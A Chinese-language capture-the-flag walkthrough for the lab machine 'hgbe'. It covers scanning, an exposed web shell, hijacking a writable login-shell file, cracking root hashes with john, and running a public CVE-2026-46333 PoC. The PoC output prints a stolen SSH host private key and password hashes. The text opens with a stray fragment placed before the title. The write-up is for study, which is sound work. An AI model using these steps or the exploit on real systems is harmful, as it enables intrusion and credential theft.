ll104567:$y$j9T$DsJIEsWyKmgsyfagD.NiU/$O2iv6sfA1EaKiBMGd5z2Q1M3nZWX3Uyzr.FkgSQz9G.:20589:0:99999:7::: mono:$y$j9T$UR5AFwviu9GhcPHEyJm8m/$PZX86ZOVLxDHM8qtf4j/D7byiFaEl7g5XrcJGrr54e5:20589:0:99999:7::: lzh:$y$j9T$4Hb4MDqV5X/eYrwX20DG/.$L83CJ2ClORTxjovzJhO9YpSFbTitH.IKJTAc.Q76rEA:20589:0:99999:7:::┌──(root㉿kali)-[/home/kali1/hgbe] └─# cat root root:$1$ruYlbiCu$mBcGHz1E10Io.PT.JVnml0:20568:0:99999:7::: ┌──(root㉿kali)-[/home/kali1/hgbe] └─# john --formatmd5crypt --wordlist/usr/share/wordlists/rockyou.txt root Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 512/512 AVX512BW 16x3]) Will run 4 OpenMP threads Press q or Ctrl-C to abort, almost any other key for status juju01 (root) 1g 0:00:00:00 DONE (2026-07-10 13:26) 2.777g/s 556800p/s 556800c/s 556800C/s karmann..jack31 Use the --show option to display all of the cracked passwords reliably Session completed.$1$代表的是md5加密$1$代表的是sha512加密所以这里的root密码很好破解。 hgbe - 靶机
信息收集扫描┌──(root㉿kali)-[/home/kali1] └─# nmap -A 10.31.39.181 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-06 10:21 CST Nmap scan report for 10.31.39.181 Host is up (0.00014s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Debian 7deb13u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.66 ((Debian)) |_http-server-header: Apache/2.4.66 (Debian) |_http-title: Bye HGBE MAC Address: 08:00:27:BA:F5:D7 (Oracle VirtualBox virtual NIC) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V7.94SVN%E4%D7/6%OT22%CT1%CU43505%PVY%DS1%DCD%GY%M080027 OS:%TM6A4B1159%Px86_64-pc-linux-gnu)SEQ(SP106%GCD1%ISR10B%TIZ%CIZ%TS OS:22)SEQ(SP106%GCD1%ISR10B%TIZ%CIZ%III%TS22)OPS(O1M5B4ST11NW8%O2 OS:M5B4ST11NW8%O3M5B4NNT11NW8%O4M5B4ST11NW8%O5M5B4ST11NW8%O6M5B4ST11)WI OS:N(W1FE88%W2FE88%W3FE88%W4FE88%W5FE88%W6FE88)ECN(RY%DFY%T40%WFA OS:F0%OM5B4NNSNW8%CCY%Q)T1(RY%DFY%T40%SO%AS%FAS%RD0%Q)T2(RN)T3 OS:(RN)T4(RY%DFY%T40%W0%SA%AZ%FR%O%RD0%Q)T5(RY%DFY%T40%W0%S OS:Z%AS%FAR%O%RD0%Q)T6(RY%DFY%T40%W0%SA%AZ%FR%O%RD0%Q)T7(R OS:Y%DFY%T40%W0%SZ%AS%FAR%O%RD0%Q)U1(RY%DFN%T40%IPL164%UN0%R OS:IPLG%RIDG%RIPCKG%RUCKG%RUDG)IE(RY%DFIN%T40%CDS) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms 10.31.39.181扫描后发现一个网站然后用dirsearch进行扫描目录结构┌──(root㉿kali)-[/home/kali1/hgbe] └─# dirsearch -u http://10.31.39.181/ -r /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /home/kali1/hgbe/reports/http_10.31.39.181/__26-07-06_11-03-24.txt Target: http://10.31.39.181/ [11:03:24] Starting: [11:03:25] 403 - 317B - /.ht_wsr.txt [11:03:25] 403 - 317B - /.htaccess.bak1 [11:03:25] 403 - 317B - /.htaccess.orig [11:03:25] 403 - 317B - /.htaccess.sample [11:03:25] 403 - 317B - /.htaccess.save [11:03:25] 403 - 317B - /.htaccess_extra [11:03:25] 403 - 317B - /.htaccess_orig [11:03:25] 403 - 317B - /.htaccess_sc [11:03:25] 403 - 317B - /.htaccessBAK [11:03:25] 403 - 317B - /.htaccessOLD [11:03:25] 403 - 317B - /.htaccessOLD2 [11:03:25] 403 - 317B - /.htm [11:03:25] 403 - 317B - /.html [11:03:25] 403 - 317B - /.htpasswd_test [11:03:25] 403 - 317B - /.htpasswds [11:03:25] 403 - 317B - /.httr-oauth [11:03:25] 403 - 317B - /.php [11:03:37] 403 - 317B - /server-status [11:03:37] 403 - 317B - /server-status/ Added to the queue: server-status/ [11:03:37] 200 - 4KB - /shell.php默认页面是一个头像源码中会提到这个图片很重要。还可以看到的是有一个shell.php这个页面上去是一个www-data用户的shell交互页面。需要通过这个shell来进行渗透这里我选择将www-data用户的shell反弹到我主机上进行操作。www-dataMaze:…/www/html# cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false systemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologin messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin HGBE:x:1000:1000:,,,:/home/HGBE:/opt/a ll104567:x:1001:1001:,,,:/home/ll104567:/bin/bash mono:x:1002:1002:,,,:/home/mono:/bin/bash lzh:x:1003:1003:,,,:/home/lzh:/bin/bash能够观察到有几个通过创建的出来的用户其中有一个名字和这个靶机同名所以我们可以多留意一下这个用户的信息HGBE。其中一个信息点就是这个用户的shell不是一个正常的shell他的shell被设置在了/opt/a这个文件上我们可以过去看一眼。www-dataMaze:…/www/html# ls -al /opt total 16 drwxr-xr-x 2 root root 4096 May 15 22:39 . drwxr-xr-x 18 root root 4096 May 15 18:24 .. -rwxrwxrwx 1 root root 27 Jul 9 07:17 a -rwxrwxrwx 1 root root 10 May 15 22:39 b www-dataMaze:…/www/html# ls -al /opt/a -rwxrwxrwx 1 root root 27 Jul 9 07:17 /opt/a www-dataMaze:…/www/html# cat /opt/a #!/bin/bash exec /usr/bin/tty-clock -sc其中可以发现我们对于这个a的文件是有修改权限的所以我们可以将HGBE的shell修改为正常的shell。至于这里的tty-clock命令则是一个用于全屏显示时间的工具。可以将文件内容改为exec /bin/bash就行了拿到HGBE用户权限之后其实这个靶机重点不在于web服务他预期解释通过观察内核更新日志然后判断内核漏洞是否在有效现有漏洞暴露出来之间。emm大概可以认为这是一次0day漏洞攻击。#第一步肯定是通过uname来确认 HGBEMaze:/var/log$ uname -r 7.0.7-1-liquorix-amd64 #之后就是看他的软件更新日志dpkg.log HGBEMaze:/var/log$ grep -rniE linux-image- /var/log/dpkg* /var/log/dpkg.log.1:1198:2026-04-25 06:18:12 install linux-image-6.12.73deb13-amd64:amd64 none 6.12.73-1 /var/log/dpkg.log.1:1199:2026-04-25 06:18:12 status half-installed linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1200:2026-04-25 06:18:18 status unpacked linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1204:2026-04-25 06:18:19 install linux-image-amd64:amd64 none 6.12.73-1 /var/log/dpkg.log.1:1205:2026-04-25 06:18:19 status half-installed linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1206:2026-04-25 06:18:19 status unpacked linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1212:2026-04-25 06:18:23 configure linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 none /var/log/dpkg.log.1:1213:2026-04-25 06:18:23 status unpacked linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1214:2026-04-25 06:18:23 status half-configured linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1215:2026-04-25 06:18:34 status installed linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1216:2026-04-25 06:18:34 configure linux-image-amd64:amd64 6.12.73-1 none /var/log/dpkg.log.1:1217:2026-04-25 06:18:34 status unpacked linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1218:2026-04-25 06:18:34 status half-configured linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1219:2026-04-25 06:18:34 status installed linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2422:2026-04-29 21:47:00 install linux-image-6.19.14-1-liquorix-amd64:amd64 none 6.19-11.1~trixie /var/log/dpkg.log.1:2423:2026-04-29 21:47:00 status half-installed linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2424:2026-04-29 21:47:12 status unpacked linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2437:2026-04-29 21:47:16 install linux-image-liquorix-amd64:amd64 none 6.19-11.1~trixie /var/log/dpkg.log.1:2438:2026-04-29 21:47:16 status half-installed linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2439:2026-04-29 21:47:16 status unpacked linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2445:2026-04-29 21:47:17 configure linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie none /var/log/dpkg.log.1:2446:2026-04-29 21:47:17 status unpacked linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2447:2026-04-29 21:47:17 status half-configured linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2448:2026-04-29 21:47:31 status installed linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2594:2026-04-29 21:47:42 configure linux-image-liquorix-amd64:amd64 6.19-11.1~trixie none /var/log/dpkg.log.1:2595:2026-04-29 21:47:42 status unpacked linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2596:2026-04-29 21:47:42 status half-configured linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2597:2026-04-29 21:47:42 status installed linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2716:2026-05-11 00:11:19 install linux-image-7.0.5-1-liquorix-amd64:amd64 none 7.0-4.1~trixie /var/log/dpkg.log.1:2717:2026-05-11 00:11:19 status half-installed linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2718:2026-05-11 00:12:38 status unpacked linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2724:2026-05-11 00:12:39 upgrade linux-image-liquorix-amd64:amd64 6.19-11.1~trixie 7.0-4.1~trixie /var/log/dpkg.log.1:2725:2026-05-11 00:12:39 status half-configured linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2726:2026-05-11 00:12:39 status unpacked linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2727:2026-05-11 00:12:40 status half-installed linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2728:2026-05-11 00:12:40 status unpacked linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2738:2026-05-11 00:12:40 configure linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie none /var/log/dpkg.log.1:2739:2026-05-11 00:12:40 status unpacked linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2740:2026-05-11 00:12:40 status half-configured linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2741:2026-05-11 00:15:03 status installed linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2742:2026-05-11 00:15:03 configure linux-image-liquorix-amd64:amd64 7.0-4.1~trixie none /var/log/dpkg.log.1:2743:2026-05-11 00:15:03 status unpacked linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2744:2026-05-11 00:15:03 status half-configured linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2745:2026-05-11 00:15:03 status installed linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2753:2026-05-11 00:19:13 status installed linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2754:2026-05-11 00:19:13 remove linux-image-amd64:amd64 6.12.73-1 none /var/log/dpkg.log.1:2755:2026-05-11 00:19:13 status half-configured linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2756:2026-05-11 00:19:14 status half-installed linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2757:2026-05-11 00:19:14 status config-files linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2758:2026-05-11 00:19:14 status installed linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2759:2026-05-11 00:19:14 remove linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 none /var/log/dpkg.log.1:2760:2026-05-11 00:19:14 status half-configured linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2761:2026-05-11 00:19:16 status half-installed linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2762:2026-05-11 00:19:30 status config-files linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2763:2026-05-11 00:19:30 status installed linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2764:2026-05-11 00:19:30 remove linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie none /var/log/dpkg.log.1:2765:2026-05-11 00:19:30 status half-configured linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2766:2026-05-11 00:19:32 status half-installed linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2767:2026-05-11 00:19:45 status config-files linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2770:2026-05-11 00:19:46 purge linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie none /var/log/dpkg.log.1:2771:2026-05-11 00:19:46 status config-files linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2772:2026-05-11 00:19:48 status not-installed linux-image-6.19.14-1-liquorix-amd64:amd64 none /var/log/dpkg.log.1:2773:2026-05-11 00:19:48 purge linux-image-amd64:amd64 6.12.73-1 none /var/log/dpkg.log.1:2774:2026-05-11 00:19:48 status config-files linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2775:2026-05-11 00:19:48 status not-installed linux-image-amd64:amd64 none /var/log/dpkg.log.1:2776:2026-05-11 00:19:48 purge linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 none /var/log/dpkg.log.1:2777:2026-05-11 00:19:48 status config-files linux-image-6.12.73deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2778:2026-05-11 00:19:49 status not-installed linux-image-6.12.73deb13-amd64:amd64 none /var/log/dpkg.log.1:2784:2026-05-15 18:24:33 install linux-image-7.0.7-1-liquorix-amd64:amd64 none 7.0-7.1~trixie /var/log/dpkg.log.1:2785:2026-05-15 18:24:33 status half-installed linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2786:2026-05-15 18:24:40 status unpacked linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2792:2026-05-15 18:24:40 upgrade linux-image-liquorix-amd64:amd64 7.0-4.1~trixie 7.0-7.1~trixie /var/log/dpkg.log.1:2793:2026-05-15 18:24:40 status half-configured linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2794:2026-05-15 18:24:40 status unpacked linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2795:2026-05-15 18:24:40 status half-installed linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2796:2026-05-15 18:24:40 status unpacked linux-image-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2806:2026-05-15 18:24:40 configure linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie none /var/log/dpkg.log.1:2807:2026-05-15 18:24:40 status unpacked linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2808:2026-05-15 18:24:40 status half-configured linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2809:2026-05-15 18:24:49 status installed linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2810:2026-05-15 18:24:49 configure linux-image-liquorix-amd64:amd64 7.0-7.1~trixie none /var/log/dpkg.log.1:2811:2026-05-15 18:24:49 status unpacked linux-image-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2812:2026-05-15 18:24:49 status half-configured linux-image-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2813:2026-05-15 18:24:49 status installed linux-image-liquorix-amd64:amd64 7.0-7.1~trixie大概的记录就是4-25号安装好deb13的6.12.73内核之后紧接着4月29号引入了6.19.14-liqurix内核这个内核时第三方的内容优化了吞吐量功能。之后的5-11号他有更换了7.0.4的liquorix内核然后删除了原厂的内容。所以这台主机现在就只有一个第三方的魔改内核在维持标准的配置文件、内核模块全部被删除。然后我们还可以通过查看现有内核的相关变化日志/usr/share/doc/linux-image-$(uname -r)/changelog.*HGBEMaze:/var/log$ zcat /usr/share/doc/linux-image-$(uname -r)/changelog.* | sed -n 1,120p linux-liquorix (7.0-7.1~trixie) trixie; urgencymedium * merge v7.0.7 * apply another wake affine optimization for Project-C - sched/alt: Skip wake_affine_idle() sync stack when prev_cpu this_cpu * update version to 7.0.7-1 -- Steven Barrett stevenliquorix.net Thu, 14 May 2026 10:22:20 -0500 linux-liquorix (7.0-6) unstable; urgencymedium * merge v7.0.6 * update version to 7.0.6-1 -- Steven Barrett stevenliquorix.net Mon, 11 May 2026 12:43:59 -0500 linux-liquorix (7.0-5) unstable; urgencymedium * apply more TTWU optimizations for Project-C - sched/alt: Keep wakee on idle, cache-affine prev_cpu * update version to 7.0.5-2 -- Steven Barrett stevenliquorix.net Fri, 08 May 2026 14:09:46 -0500 linux-liquorix (7.0-4) unstable; urgencymedium * merge v7.0.5 * apply TTWU optimizations for Project-C - sched/alt: Cache LLC size as per-CPU sd_llc_size - sched/alt: Add wake_wide() to gate WF_SYNC affine wakeups - sched/alt: Align wake_wide() placement with mainline * update version to 7.0.5-1 -- Steven Barrett stevenliquorix.net Fri, 08 May 2026 10:32:27 -0500 linux-liquorix (7.0-3) unstable; urgencymedium * add stability fix for Project-C - sched/alt: Fix rseq switch event target * update version to 7.0.4-2 -- Steven Barrett stevenliquorix.net Thu, 07 May 2026 18:00:03 -0500 linux-liquorix (7.0-2) unstable; urgencymedium * merge v7.0.4 * sync lockup and hung task detection config from Zen Kernel * update version to 7.0.4-1 -- Steven Barrett stevenliquorix.net Thu, 07 May 2026 16:15:29 -0500 linux-liquorix (7.0-1) unstable; urgencymedium * switch to v7.0 * merge v7.0.3 * update version to 7.0.3-1 -- Steven Barrett stevenliquorix.net Thu, 07 May 2026 07:16:06 -0500 linux-liquorix (6.19-12) unstable; urgencymedium * backport changes in 7.0.3 - xen/privcmd: fix double free via VMA splitting - Buffer overflow in drivers/xen/sys-hypervisor.c * add patch resolve CVE-2026-31431 - crypto: algif_aead - Revert to operating out-of-place * update version to 6.19.14-2 -- Steven Barrett stevenliquorix.net Thu, 30 Apr 2026 12:49:23 -0500 linux-liquorix (6.19-11) unstable; urgencymedium * merge v6.19.14 * update version to 6.19.14-1 -- Steven Barrett stevenliquorix.net Wed, 22 Apr 2026 13:48:51 -0500 linux-liquorix (6.19-10) unstable; urgencymedium * merge v6.19.13 * sync upstream scheduler changes to Project-C - sched/alt: Mark update_rq_clock() __always_inline to match mainline - sched/alt: Mark wakeup_preempt() __always_inline to match mainline - sched/alt: Mark update_curr() __always_inline to match mainline - sched/alt: Mark sched_rq_next_task() __always_inline to match mainline * update version to 6.19.13-1 -- Steven Barrett stevenliquorix.net Mon, 20 Apr 2026 11:27:26 -0500 linux-liquorix (6.19-9) unstable; urgencymedium * merge v6.19.12 * add dmemcg v6 patch set for low VRAM systems * update version to 6.19.12-1 -- Steven Barrett stevenliquorix.net Wed, 15 Apr 2026 17:02:07 -0500 linux-liquorix (6.19-8) unstable; urgencymedium * add optimization for stress-ng context switching - sched/alt: Add wake_affine_idle() for WF_SYNC wakeups * update version to 6.19.11-2 -- Steven Barrett stevenliquorix.net Sat, 04 Apr 2026 12:02:51 -0500 linux-liquorix (6.19-7) unstable; urgencymedium * merge v6.19.11 * update version to 6.19.11-1 -- Steven Barrett stevenliquorix.net Fri, 03 Apr 2026 10:53:49 -0500 linux-liquorix (6.19-6) unstable; urgencymedium * sync upstream scheduler changes to Project-C - entry: Split generic entry into generic exception and syscall entry - sched: Match __task_rq_{,un}lock() - sched/mmcid: Optimize transitional CIDs when scheduling out * update version to 6.19.10-2拿最有特征的倒数第七段来说这里说明了软件包名是linux-liquorix这次的更新包版本是6.19-12属于Debain的trixieDebain13或者unstable分支。中间的条目带有*或-就是核心内容说明具体的改动。额看的话其实不是很好能看得懂尤其还是英语不是特别好的所以这里直接给ai分析解释一下i会告诉你Project-C是Liquorix内核引入的一种嵌代进程调度器他改变了Linux核心如何分配CPU资源给不同的进程。当然其实这里看到copy fail漏洞补丁也不一定这个漏洞对于这个版本内容就不起作用可能又会有这个内核版本的重构代码可以去安全社区中寻找那么接着我们其实信息收集的差不多了现在了解到的信息就是这个靶机最开始是一个debian的稳定发行版本stable。但是管理员最后将他的内核换成了更加激进的版本7.0.7-liquorix一个追求极致性能的内核并且将旧的内核都删除了这就导致他成了一个基于debian13版本内核为7.0.7的靶机。但是要知道的是这个内核是第三方魔改的所以在debian中或许修复了的漏洞对他也还是有所影响。emm然后作者wp是写了先查看debian的tracker网站去看信息啊不过我复盘完之后感觉怪怪的主要是我直接去debian tracker的话找了很久然后最后找到这个CVE在已经解决的open issues部分那一栏很下面了。也可能是我打这个靶机的时间比较晚。其实我的顺序是先去linux内核网站看他的变更日志changelog#https://cdn.kernel.org/pub/linux/kernel/v7.x/ChangeLog-7.0.8 commit ec984f1eb8a34b75657f440ebff0dee27c9b850d Author: Greg Kroah-Hartman gregkhlinuxfoundation.org Date: Fri May 15 14:53:54 2026 0200 Linux 7.0.8 Signed-off-by: Greg Kroah-Hartman gregkhlinuxfoundation.org commit 01363cb3fbd0238ffdeb09f53e9039c9edf8a730 Author: Linus Torvalds torvaldslinux-foundation.org Date: Wed May 13 11:37:18 2026 -0700 ptrace: slightly saner get_dumpable() logic commit 31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a upstream. The dumpability of a task is fundamentally about the memory image of the task - the concept comes from whether it can core dump or not - and makes no sense when you dont have an associated mm. And almost all users do in fact use it only for the case where the task has a mm pointer. But we have one odd special case: ptrace_may_access() uses dumpable to check various other things entirely independently of the MM (typically explicitly using flags like PTRACE_MODE_READ_FSCREDS). Including for threads that no longer have a VM (and maybe never did, like most kernel threads). Its not what this flag was designed for, but it is what it is. The ptrace code does check that the uid/gid matches, so you do have to be uid-0 to see kernel thread details, but this means that the traditional drop capabilities model doesnt make any difference for this all. Make it all make a *bit* more sense by saying that if you dont have a MM pointer, well use a cached last dumpability flag if the thread ever had a MM (it will be zero for kernel threads since it is never set), and require a proper CAP_SYS_PTRACE capability to override. Reported-by: Qualys Security Advisory qsaqualys.com Cc: Oleg Nesterov olegredhat.com Cc: Kees Cook keeskernel.org Signed-off-by: Linus Torvalds torvaldslinux-foundation.org Signed-off-by: Greg Kroah-Hartman gregkhlinuxfoundation.org这里其实说的是修复了关于ptrace的一个问题这个内核版本是7.0.8在7.0.8CVE-2026-46333才被修复7.0.8是修复点 7.0.8可能在受影响的范围内。其实这里能获得一个信息就是现在这个靶机的内核7.0.7-liquorix版本是受这个CVE漏洞影响的这里说个题外话我在看wp的时候其实有点懵因为我自己不会看内核版本这些东西。但是我整体理解来说的话就是本来debian13这个版本的内核对于cve-2026-46633是修复了但是管理员换成了第三方的7.0.7版本内核但是这个内核并没有打上补丁补丁在7.0.8刚修复好才发出来。emm我后面理了一下顺序这里的话应该是先看trixie7.0.7版本是否已经与forky版本的7.0.8修复了漏洞了。因为在debian社区里面的修复漏洞顺序为先是sid—forky/testing—trixie。题外话的题外话这些标签其实是《玩具总动员》中每个角色其中sid玩具总动员中的那个熊孩子代表的是长期不稳定的。forky则是后面出现的叉子玩具因为是后面才出现所以代表的是未来最后则是trixie则是代表稳定版本在往前就是old了又书虫bookworm更老的是bullseye红心吴迪的坐骑。然后其实debian的官网有一个很集中的cve漏洞查询页面就是那个trackerhttps://security-tracker.debian.org/tracker/source-package/linux所以作者在这里去liquorix.net/atom也是为了查看确认这个漏洞是否已经被更新修复了。CVE exploits这个漏洞的原理其实也挺有趣的先下载漏洞到靶机上或者说可以下载到你的渗透机上再传输。之后编译完之后利用就可以这里直接就获得了私钥wget https://github.com/0xBlackash/CVE-2026-46333/archive/refs/heads/main.zip HGBEMaze:~/CVE-2026-46333-main$ gcc CVE-2026-46333.c HGBEMaze:~/CVE-2026-46333-main$ ls a.out CVE-2026-46333.c CVE-2026-46333-shadow.c README.md HGBEMaze:~/CVE-2026-46333-main$ ./a.out [] CVE-2026-46333 PoC by 0xBlackash [] Target: Steal SSH host private keys via ssh-keysign [] Found ssh-keysign at: /usr/lib/openssh/ssh-keysign [] Starting race attack... [] SUCCESS! Stolen fd 3 - /etc/ssh/ssh_host_ecdsa_key (round 13) SSH PRIVATE KEY -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS 1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQqIPmNvLA9W5TosXrVH0t6Az9h0Nrp LSHo86JXcgRnA/oB7XKrrCBYEkpgO8AYfVypsjmjwFrs8PeVAjpHOd5FAAAAqLNAENmzQB DZAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCogY28sD1blOix etUfS3oDP2HQ2uktIejzoldyBGcDgHtcqusIFgSSmA7wBh9XKmyOaPAWuzw95UCOkc53k UAAAAgWzg1pDrbt4NhKoUvFx1XtX11pmeuSIHRqoy9mLlgDOkAAAAKcm9vdEBNdWJhbgEC AwQFBg -----END OPENSSH PRIVATE KEY----- [] Exploit completed successfully.这个私钥是漏洞通过利用ssh-keysign读取的。ssh-keysign其实可以比喻成一个在公共场所的电话亭所有人都可以用但是他是免费的也就是suid权限有这里就可以看到ssh-keysign所以这个工具在运行的时候他是会以root身份运行。这就是root残留举一个例子就比如我是攻击的黑客运行了ssh-keysign之后开启了进程。但是这个进程在舞台上因为特殊身份变成了root今晨接着又因为我给他吃了一些畸形的数据开始在舞台上结束自己。这个时候我在调用pidfd_getfd()函数去复制文件描述符但是pidfd_getfd()在执行的时候会经过__ptrace_may_access()的权限检查。但是因为进程正在退出内存描述符指针mm已经被内核清空为 NULL__ptrace_may_access()按照规则检查发现啥都没有所以我们就能趁着这个时间将ssh-keysign启动时就已经打开的主机私钥文件从root用户手里复制过来这样我就能伪造ssh签名冒充合法用户。具体来说pidfd_getfd() 是 Linux 提供的一个系统调用作用是从另一个进程中复制一个已经打开的文件描述符到你自己的进程里。这个调用在内部会触发 __ptrace_may_access() 来做权限检查保安查岗。正常情况下普通用户不能从 root 进程中偷东西保安会拦住你。但因为这个进程刚好处于 mmNULL 的中间状态保安跳过了检查你就成功把 root 已经打开的SSH 主机私钥文件的描述符偷到了自己手里。HGBEMaze:~/CVE-2026-46333-main$ gcc CVE-2026-46333-shadow.c HGBEMaze:~/CVE-2026-46333-main$ ls a.out CVE-2026-46333.c CVE-2026-46333-shadow.c README.md 